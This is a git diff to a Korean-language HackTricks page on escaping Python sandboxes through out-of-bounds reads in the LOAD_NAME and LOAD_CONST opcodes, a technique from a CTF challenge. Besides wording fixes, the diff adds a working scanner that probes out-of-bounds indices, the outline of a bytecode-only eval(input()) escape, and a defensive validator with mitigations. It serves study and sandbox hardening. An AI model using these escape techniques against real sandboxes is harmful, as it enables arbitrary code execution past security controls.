diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md index 12d7a047c..4473cc004 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md @@ -6,9 +6,9 @@ ### TL;DR -LOAD_NAME / LOAD_CONST opcode의 OOB 읽기 기능을 사용하여 메모리에서 일부 기호를 가져올 수 있습니다. 즉, `(a, b, c, ... 수백 개의 기호 ..., __getattribute__) if [] else [].__getattribute__(...)`와 같은 트릭을 사용하여 원하는 기호(예: 함수 이름)를 가져올 수 있습니다. +LOAD_NAME / LOAD_CONST opcode의 OOB read 기능을 사용하여 메모리에서 일부 심볼을 가져올 수 있습니다. 이는 `(a, b, c, ... 수백 개의 심볼 ..., __getattribute__) if [] else [].__getattribute__(...)`와 같은 트릭을 사용하여 원하는 심볼(예: 함수 이름)을 가져오는 것을 의미합니다. -그런 다음 당신의 익스플로잇을 작성하세요. +그런 다음 당신의 익스플로잇을 제작하세요. ### Overview @@ -21,7 +21,7 @@ print(eval(code, {'__builtins__': {}}))1234 ``` 임의의 Python 코드를 입력할 수 있으며, 이는 [Python 코드 객체](https://docs.python.org/3/c-api/code.html)로 컴파일됩니다. 그러나 해당 코드 객체의 `co_consts`와 `co_names`는 그 코드 객체를 eval하기 전에 빈 튜플로 대체됩니다. -따라서 이러한 방식으로 모든 표현식이 const(예: 숫자, 문자열 등) 또는 이름(예: 변수, 함수)을 포함하면 결국 세그멘테이션 오류가 발생할 수 있습니다. +따라서 이 방식으로 모든 표현식이 const(예: 숫자, 문자열 등) 또는 이름(예: 변수, 함수)을 포함하면 결국 세그멘테이션 오류를 일으킬 수 있습니다. ### Out of Bound Read @@ -37,9 +37,9 @@ print(eval(code, {'__builtins__': {}}))1234 ``` 하지만 `co_names`가 빈 튜플이 되면 어떻게 될까요? `LOAD_NAME 2` opcode는 여전히 실행되며, 원래 읽어야 할 메모리 주소에서 값을 읽으려고 시도합니다. 네, 이것은 경계 초과 읽기 "기능"입니다. -해결책의 핵심 개념은 간단합니다. 예를 들어 CPython의 일부 opcode인 `LOAD_NAME`과 `LOAD_CONST`는 OOB 읽기에 취약합니다(?). +해결책의 핵심 개념은 간단합니다. CPython의 일부 opcode, 예를 들어 `LOAD_NAME`과 `LOAD_CONST`는 OOB 읽기에 취약합니다(?). -이들은 `consts` 또는 `names` 튜플에서 인덱스 `oparg`의 객체를 검색합니다(그것이 내부적으로 `co_consts`와 `co_names`라고 불리는 것입니다). CPython이 `LOAD_CONST` opcode를 처리할 때 무엇을 하는지 보기 위해 `LOAD_CONST`에 대한 다음 짧은 코드 조각을 참조할 수 있습니다. +이들은 `consts` 또는 `names` 튜플에서 `oparg` 인덱스의 객체를 검색합니다(그것이 `co_consts`와 `co_names`가 내부적으로 명명된 방식입니다). CPython이 `LOAD_CONST` opcode를 처리할 때 무엇을 하는지 보기 위해 `LOAD_CONST`에 대한 다음 짧은 코드 조각을 참조할 수 있습니다. ```c case TARGET(LOAD_CONST): { PREDICTED(LOAD_CONST); @@ -49,9 +49,9 @@ PUSH(value); FAST_DISPATCH(); }1234567 ``` -이 방법으로 우리는 OOB 기능을 사용하여 임의의 메모리 오프셋에서 "이름"을 가져올 수 있습니다. 어떤 이름이 있는지와 그 오프셋이 무엇인지 확인하려면 `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ...를 계속 시도해 보세요. 약 oparg > 700에서 무언가를 찾을 수 있습니다. 물론 gdb를 사용하여 메모리 레이아웃을 살펴볼 수도 있지만, 그렇게 하는 것이 더 쉬울 것 같지는 않습니다. +이 방법으로 우리는 OOB 기능을 사용하여 임의의 메모리 오프셋에서 "이름"을 가져올 수 있습니다. 어떤 이름이 있는지와 그 오프셋이 무엇인지 확인하려면 `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ...를 계속 시도해 보세요. oparg > 700에서 무언가를 찾을 수 있습니다. 물론 gdb를 사용하여 메모리 레이아웃을 살펴볼 수도 있지만, 그렇게 하는 것이 더 쉬울 것 같지는 않습니다. -### Exploit 생성 +### Exploit 생성하기 유용한 이름/상수의 오프셋을 가져온 후, 그 오프셋에서 이름/상수를 어떻게 가져와서 사용할 수 있을까요? 여기에 대한 요령이 있습니다:\ 오프셋 5(`LOAD_NAME 5`)에서 `__getattribute__` 이름을 가져올 수 있다고 가정해 보겠습니다(`co_names=()`). 그러면 다음 작업을 수행하세요: @@ -61,7 +61,7 @@ FAST_DISPATCH(); # you can get the __getattribute__ method of list object now! ]1234 ``` -> `__getattribute__`라고 이름을 붙일 필요는 없으며, 더 짧거나 이상한 이름으로 붙일 수 있습니다. +> `__getattribute__`로 이름을 지정할 필요는 없으며, 더 짧거나 이상한 이름으로 지정할 수 있습니다. 그 이유는 바이트코드를 보기만 해도 이해할 수 있습니다: ```python @@ -80,9 +80,9 @@ FAST_DISPATCH(); 24 BUILD_LIST 1 26 RETURN_VALUE1234567891011121314 ``` -`LOAD_ATTR`는 `co_names`에서 이름을 검색한다는 점에 유의하세요. Python은 이름이 동일할 경우 동일한 오프셋에서 이름을 로드하므로 두 번째 `__getattribute__`는 여전히 offset=5에서 로드됩니다. 이 기능을 사용하면 이름이 메모리 근처에 있을 때 임의의 이름을 사용할 수 있습니다. +`LOAD_ATTR`는 `co_names`에서 이름을 검색한다는 점에 유의하세요. Python은 이름이 동일할 경우 동일한 오프셋에서 이름을 로드하므로 두 번째 `__getattribute__`는 여전히 offset=5에서 로드됩니다. 이 기능을 사용하면 이름이 근처 메모리에 있을 때 임의의 이름을 사용할 수 있습니다. -숫자를 생성하는 것은 사소해야 합니다: +숫자를 생성하는 것은 간단해야 합니다: - 0: not \[\[]] - 1: not \[] @@ -91,9 +91,9 @@ FAST_DISPATCH(); ### Exploit Script -길이 제한으로 인해 consts를 사용하지 않았습니다. +길이 제한 때문에 consts를 사용하지 않았습니다. -먼저 이름의 오프셋을 찾기 위한 스크립트입니다. +먼저, 이름의 오프셋을 찾기 위한 스크립트입니다. ```python from types import CodeType from opcode import opmap @@ -218,4 +218,119 @@ getattr( '__repr__').__getattribute__('__globals__')['builtins'] builtins['eval'](builtins['input']()) ``` +--- + +### 버전 노트 및 영향을 받는 opcode (Python 3.11–3.13) + +- CPython 바이트코드 opcode는 여전히 정수 피연산자로 `co_consts` 및 `co_names` 튜플에 인덱싱합니다. 공격자가 이러한 튜플을 비우거나(또는 바이트코드에서 사용되는 최대 인덱스보다 작게) 강제로 만들 수 있다면, 인터프리터는 해당 인덱스에 대해 경계 밖 메모리를 읽게 되어 인근 메모리에서 임의의 PyObject 포인터를 반환합니다. 관련 opcode에는 최소한 다음이 포함됩니다: +- `LOAD_CONST consti` → `co_consts[consti]`를 읽습니다. +- `LOAD_NAME namei`, `STORE_NAME`, `DELETE_NAME`, `LOAD_GLOBAL`, `STORE_GLOBAL`, `IMPORT_NAME`, `IMPORT_FROM`, `LOAD_ATTR`, `STORE_ATTR` → `co_names[...]`에서 이름을 읽습니다 (3.11+에서는 `LOAD_ATTR`/`LOAD_GLOBAL`이 낮은 비트에 저장 플래그 비트를 기록합니다; 실제 인덱스는 `namei >> 1`입니다). 각 버전별 정확한 의미는 디스어셈블러 문서를 참조하세요. [Python dis docs]. +- Python 3.11+는 명령어 사이에 숨겨진 `CACHE` 항목을 추가하는 적응형/인라인 캐시를 도입했습니다. 이는 OOB 원시를 변경하지 않으며, 바이트코드를 수동으로 작성할 경우 이러한 캐시 항목을 `co_code`를 구축할 때 고려해야 함을 의미합니다. + +실용적인 의미: 이 페이지의 기술은 코드 객체를 제어할 수 있을 때(CODEType.replace(...)를 통해) CPython 3.11, 3.12 및 3.13에서 계속 작동합니다. `co_consts`/`co_names`를 축소할 수 있습니다. + +### 유용한 OOB 인덱스를 위한 빠른 스캐너 (3.11+/3.12+ 호환) + +바이트코드에서 고급 소스가 아닌 흥미로운 객체를 직접 탐색하는 것을 선호하는 경우, 최소한의 코드 객체를 생성하고 인덱스를 무차별 대입할 수 있습니다. 아래 도우미는 필요할 때 자동으로 인라인 캐시를 삽입합니다. +```python +import dis, types + +def assemble(ops): +# ops: list of (opname, arg) pairs +cache = bytes([dis.opmap.get("CACHE", 0), 0]) +out = bytearray() +for op, arg in ops: +opc = dis.opmap[op] +out += bytes([opc, arg]) +# Python >=3.11 inserts per-opcode inline cache entries +ncache = getattr(dis, "_inline_cache_entries", {}).get(opc, 0) +out += cache * ncache +return bytes(out) + +# Reuse an existing function's code layout to simplify CodeType construction +base = (lambda: None).__code__ + +# Example: probe co_consts[i] with LOAD_CONST i and return it +# co_consts/co_names are intentionally empty so LOAD_* goes OOB + +def probe_const(i): +code = assemble([ +("RESUME", 0), # 3.11+ +("LOAD_CONST", i), +("RETURN_VALUE", 0), +]) +c = base.replace(co_code=code, co_consts=(), co_names=()) +try: +return eval(c) +except Exception: +return None + +for idx in range(0, 300): +obj = probe_const(idx) +if obj is not None: +print(idx, type(obj), repr(obj)[:80]) +``` +Notes +- 이름을 조사하려면 `LOAD_CONST`를 `LOAD_NAME`/`LOAD_GLOBAL`/`LOAD_ATTR`로 바꾸고 스택 사용을 적절히 조정하세요. +- 필요하다면 `EXTENDED_ARG` 또는 여러 바이트의 `arg`를 사용하여 인덱스 >255에 도달하세요. 위와 같이 `dis`로 빌드할 때는 낮은 바이트만 제어할 수 있으며, 더 큰 인덱스의 경우 원시 바이트를 직접 구성하거나 여러 로드에 걸쳐 공격을 분할하세요. + +### Minimal bytecode-only RCE pattern (co_consts OOB → builtins → eval/input) + +`co_consts` 인덱스가 builtins 모듈로 해결되는 것을 식별한 후, 스택을 조작하여 `eval(input())`을 `co_names` 없이 재구성할 수 있습니다: +```python +# Build co_code that: +# 1) LOAD_CONST → push builtins module +# 2) Use stack shuffles and BUILD_TUPLE/UNPACK_EX to peel strings like 'input'/'eval' +# out of objects living nearby in memory (e.g., from method tables), +# 3) BINARY_SUBSCR to do builtins["input"] / builtins["eval"], CALL each, and RETURN_VALUE +# This pattern is the same idea as the high-level exploit above, but expressed in raw bytecode. +``` +이 접근 방식은 `co_code`에 대한 직접적인 제어를 제공하면서 `co_consts=()` 및 `co_names=()`를 강제하는 챌린지에서 유용합니다(예: BCTF 2024 “awpcode”). 이는 소스 수준의 트릭을 피하고 바이트코드 스택 연산 및 튜플 빌더를 활용하여 페이로드 크기를 작게 유지합니다. + +### 샌드박스를 위한 방어적 검사 및 완화 조치 + +신뢰할 수 없는 코드를 컴파일/평가하거나 코드 객체를 조작하는 Python “샌드박스”를 작성하는 경우, 바이트코드에서 사용되는 튜플 인덱스의 경계를 확인하기 위해 CPython에 의존하지 마십시오. 대신, 실행하기 전에 코드 객체를 직접 검증하십시오. + +실용적인 검증기 (co_consts/co_names에 대한 OOB 접근 거부) +```python +import dis + +def max_name_index(code): +max_idx = -1 +for ins in dis.get_instructions(code): +if ins.opname in {"LOAD_NAME","STORE_NAME","DELETE_NAME","IMPORT_NAME", +"IMPORT_FROM","STORE_ATTR","LOAD_ATTR","LOAD_GLOBAL","DELETE_GLOBAL"}: +namei = ins.arg or 0 +# 3.11+: LOAD_ATTR/LOAD_GLOBAL encode flags in the low bit +if ins.opname in {"LOAD_ATTR","LOAD_GLOBAL"}: +namei >>= 1 +max_idx = max(max_idx, namei) +return max_idx + +def max_const_index(code): +return max([ins.arg for ins in dis.get_instructions(code) +if ins.opname == "LOAD_CONST"] + [-1]) + +def validate_code_object(code: type((lambda:0).__code__)): +if max_const_index(code) >= len(code.co_consts): +raise ValueError("Bytecode refers to const index beyond co_consts length") +if max_name_index(code) >= len(code.co_names): +raise ValueError("Bytecode refers to name index beyond co_names length") + +# Example use in a sandbox: +# src = input(); c = compile(src, '', 'exec') +# c = c.replace(co_consts=(), co_names=()) # if you really need this, validate first +# validate_code_object(c) +# eval(c, {'__builtins__': {}}) +``` +추가 완화 아이디어 +- 신뢰할 수 없는 입력에 대해 임의의 `CodeType.replace(...)`를 허용하지 않거나, 결과 코드 객체에 대한 엄격한 구조 검사를 추가하십시오. +- CPython 의미에 의존하는 대신 OS 수준 샌드박싱(예: seccomp, 작업 객체, 컨테이너)으로 신뢰할 수 없는 코드를 별도의 프로세스에서 실행하는 것을 고려하십시오. + + + +## 참조 + +- Splitline의 HITCON CTF 2022 작성물 “V O I D” (이 기술의 기원 및 고수준 익스플로잇 체인): https://blog.splitline.tw/hitcon-ctf-2022/ +- Python 디스어셈블러 문서 (LOAD_CONST/LOAD_NAME/etc.에 대한 인덱스 의미 및 3.11+ `LOAD_ATTR`/`LOAD_GLOBAL` 저비트 플래그): https://docs.python.org/3.13/library/dis.html {{#include ../../../banners/hacktricks-training.md}}